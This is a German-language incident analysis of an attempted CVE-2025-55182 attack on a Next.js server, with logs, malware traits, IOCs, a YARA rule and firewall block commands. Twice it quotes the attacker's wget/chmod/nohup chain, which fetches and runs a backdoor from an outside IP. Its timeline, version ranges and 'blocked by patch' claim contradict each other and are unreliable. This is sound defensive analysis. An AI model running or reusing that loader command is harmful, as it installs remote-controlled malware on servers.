CVE-2025-55182 Angriffsanalyse: RCE in React Server Components
Reale Angriffsanalyse auf eine produktionseinsatzfähige Next.js-Anwendung
📋 Inhaltsverzeichnis
Zusammenfassung
Am 5. Dezember 2025 wurde unsere produktionseinsatzfähige Next.js-Anwendung von Angreifern angegriffen, die CVE-2025-55182 (React2Shell) ausnutzten – eine kritische Remote-Codeausführungsschwachstelle in React Server Components. Der Angriff versuchte, einen Linux-Backdoor-Trojaner auf unserem Server herunterzuladen und auszuführen.
| Attribut | Wert |
|---|
| CVE-ID | CVE-2025-55182 |
| CVSS-Score | 9.8 (Kritisch) |
| Angriffsdatum | 5. Dezember 2025 |
| Angriffsergebnis | ✅ Blockiert (nach Patch) |
| Malware-Typ | Linux-Backdoor-Trojaner |
| Betroffener Stack | Next.js + React Server Components |
Schwachstellenübersicht
Was ist CVE-2025-55182?
CVE-2025-55182, auch bekannt als „React2Shell“, ist eine kritische Remote-Codeausführungsschwachstelle (RCE), die React Server Components (RSC) in folgenden Umgebungen betrifft:
- React: Versionen 19.0.0 - 19.2.1
- Next.js: Versionen 15.x und 16.x (vor den Patches)
Ursache
Die Schwachstelle liegt in der Funktion renderToReadableStream() im React Flight Server. Bei der Verarbeitung speziell gestalteter RSC-Payloads wird die Eingabe nicht ordnungsgemäß bereinigt, was zur Ausführung beliebigen Codes führt.
Angriffsvektor
Angreifer → Böswilliges RSC-Payload → Flight Server → eval() → RCE
Der Angreifer sendet eine präparierte POST-Anfrage mit einem bösartigen serialisierten Payload, das deserialisiert und auf dem Server ausgeführt wird.
Angriffszeitstrahl
Phase 1: Erste Ausnutzungsversuche (vor Patch)
| Zeitstempel (UTC) | Ereignis |
|---|
| Dez 5, 06:20 | Erster Angriff via Sentry erkannt |
| Dez 5, 06:20 | Payload versucht, Shell-Befehle auszuführen |
| Dez 5, 06:20 | Angriff teilweise erfolgreich (vor Patch) |
Sentry-Fehlerprotokoll (vor Patch):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
Phase 2: Patch-Bereitstellung
| Zeitstempel | Aktion |
|---|
| Dez 4, 14:13 | Upgrade auf Next.js 16.0.7 |
| Dez 4, 14:13 | Gepatchte Version bereitgestellt (v1.0.0-beta-4) |
Phase 3: Angriff nach Patch blockiert
| Zeitstempel (UTC) | Ereignis |
|---|
| Dez 5, 08:48 | Angriffsversuch erkannt |
| Dez 5, 08:48 | Payload-Ausführung BLOCKIERT |
| Dez 5, 08:48 | Fehler: syntax error: unexpected ";" |
Sentry-Fehlerprotokoll (nach Patch):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
Der Patch hat die Ausführung des bösartigen Befehls erfolgreich verhindert.
Technische Analyse
Details zur Angriffsanfrage
| Attribut | Wert |
|---|
| Ziel-URL | https://[REDACTED]/ |
Payload-Analyse
Der Angreifer versuchte, die folgende Befehlskette auszuführen:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Aufschlüsselung:
Serverumgebung
| Komponente | Version |
|---|
| Betriebssystem | Alpine Linux 3.23.0 |
| Laufzeit | Node.js v20.19.6 |
| Framework | Next.js 16.0.7 (gepatcht) |
Malware-Analyse
VirusTotal-Ergebnisse
Erkennungsrate: 13/72 (18%)
VirusTotal-Link: Analyse anzeigen
Binäranalyse
ELF-Header:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Identifizierte Fähigkeiten:
Extrahierte Zeichenketten (relevant):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
Ausgelöste IDS-Regeln
| Schweregrad | Regel | Quelle |
|---|
| NIEDRIG | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| NIEDRIG | ET DNS Query for .cc TLD | Proofpoint ET Open |
Malware-Klassifizierung
Typ: Linux-Backdoor-Trojaner
Fähigkeiten:
- Remote-Shell-Zugriff
- Command & Control (C2)-Kommunikation
- Datei-Upload/-Download
- Verschlüsselte Kommunikation
- Verkehrstunneling über SOCKS5
- Persistenzmechanismen
Indikatoren für eine Kompromittierung (IOCs)
Netzwerk-IOCs
Datei-IOCs
Verhaltens-IOCs
YARA-Regel
rule CVE_2025_55182_Backdoor {
meta:
description = "Erkennt Backdoor, die über CVE-2025-55182 verbreitet wird"
author = "Sicherheitsforscher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
Abhilfe und Reaktion
Sofort ergriffene Maßnahmen
Missbrauchsmeldung
Eine Missbrauchsmeldung wurde an Vultr (den Hosting-Anbieter des C2-Servers) am 5. Dezember 2025 gesendet mit folgenden Angaben:
- Bösartige IP-Adresse und URL
- SHA256-Hash der Malware
- VirusTotal-Analyse-Link
- Beschreibung des Angriffsvektors (CVE-2025-55182)
Gepatchte Versionen
| Paket | Verwundbar | Gepatcht |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (Juni 2025+) |
Empfohlene Abhilfemaßnahmen
1. Sofort upgraden:
2. Bösartige IP blockieren:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. Auf IOCs überwachen:
# Nach verdächtigen Dateien suchen
find /tmp -type f -executable 2>/dev/null
# Nach verdächtigen Prozessen suchen
ps aux | grep -E "(vim|/tmp/)"
# Netzwerkverbindungen prüfen
netstat -an | grep "45.76.155.14"
4. Alle Geheimnisse rotieren:
- Datenbank-Anmeldeinformationen
- JWT-Geheimnisse
- API-Schlüssel
- Sitzungsgeheimnisse
Erkenntnisse
Was gut lief
- Sentry-Überwachung hat den Angriff sofort erkannt
- Schnelle Patch-Bereitstellung innerhalb weniger Stunden nach CVE-Veröffentlichung
- Docker-Containerisierung begrenzte die Auswirkungsreichweite
- Schutz nach Patch blockierte erfolgreich nachfolgende Angriffe
Was verbessert werden könnte
- Schnelleres Patchen – Zeit zwischen CVE-Veröffentlichung und Patch verkürzen
- WAF-Regeln – Regeln zur Erkennung von RSC-Ausnutzungsversuchen hinzufügen
- Ausgehende Filterung – Ausgehende Verbindungen zu unbekannten IPs blockieren
- Automatisierte Warnungen – Warnungen bei verdächtigen Shell-Befehlen einrichten
Sicherheitsempfehlungen
Referenzen
Offizielle Advisories
Analyse-Ressourcen
Haftungsausschluss
Dieser Beitrag wird nur zu Bildungs- und Verteidigungszwecken veröffentlicht. Die Malware-Binärdatei ist nicht in diesem Repository enthalten. Sicherheitsforscher können die Probe über VirusTotal mit dem bereitgestellten SHA256-Hash erhalten.
Autor
Veröffentlicht: 5. Dezember 2025
Kontakt: [Ihre Kontaktinformationen oder GitHub-Profil]
Lizenz
Diese Analyse wird unter CC BY 4.0 veröffentlicht. Sie dürfen dieses Material teilen und anpassen, sofern Sie angemessen nennen.
Änderungsprotokoll
| Datum | Version | Änderungen |
|---|
| 2025-12-05 | 1.0 | Erstveröffentlichung |